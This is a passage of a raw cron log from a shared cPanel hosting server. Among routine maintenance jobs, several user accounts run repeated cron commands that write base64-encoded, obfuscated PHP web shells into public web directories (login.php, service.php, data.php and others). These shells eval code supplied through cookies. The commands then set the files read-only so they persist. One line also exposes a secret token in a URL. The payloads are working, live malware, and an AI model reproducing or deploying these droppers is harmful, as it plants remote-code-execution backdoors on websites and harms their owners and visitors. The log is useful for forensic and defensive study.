ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:14:02 medusa CROND[21715]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:14:02 medusa CROND[21718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:14:02 medusa CROND[21719]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:14:02 medusa CROND[21720]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:14:02 medusa CROND[21724]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:14:02 medusa CROND[21723]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:14:02 medusa CROND[21725]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:15:01 medusa CROND[25922]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:15:01 medusa CROND[26038]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26053]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:15:01 medusa CROND[26118]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:15:01 medusa CROND[26120]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26121]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:15:01 medusa CROND[26122]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26124]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26125]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:15:01 medusa CROND[26128]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26140]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:15:01 medusa CROND[26142]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:15:01 medusa CROND[26138]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26130]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26139]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:15:01 medusa CROND[26146]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:15:01 medusa CROND[26147]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:15:01 medusa CROND[26141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:15:01 medusa CROND[26149]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:15:01 medusa CROND[26150]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:15:01 medusa CROND[26143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:15:01 medusa CROND[26157]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26145]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Mar  1 06:15:01 medusa CROND[26144]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:15:01 medusa CROND[26156]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:16:01 medusa CROND[31241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:16:01 medusa CROND[31304]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:16:01 medusa CROND[31349]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:16:01 medusa CROND[31351]: (root) CMD (/usr/bin/flock -n /var/run/xray_upd_metadata.cronlock /usr/sbin/cl-smart-advice update-advices-metadata &> /dev/null)
Mar  1 06:16:01 medusa CROND[31352]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:16:01 medusa CROND[31358]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:16:01 medusa CROND[31359]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:16:01 medusa CROND[31362]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:16:01 medusa CROND[31365]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:16:01 medusa CROND[31368]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:16:01 medusa CROND[31371]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:16:01 medusa CROND[31373]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3h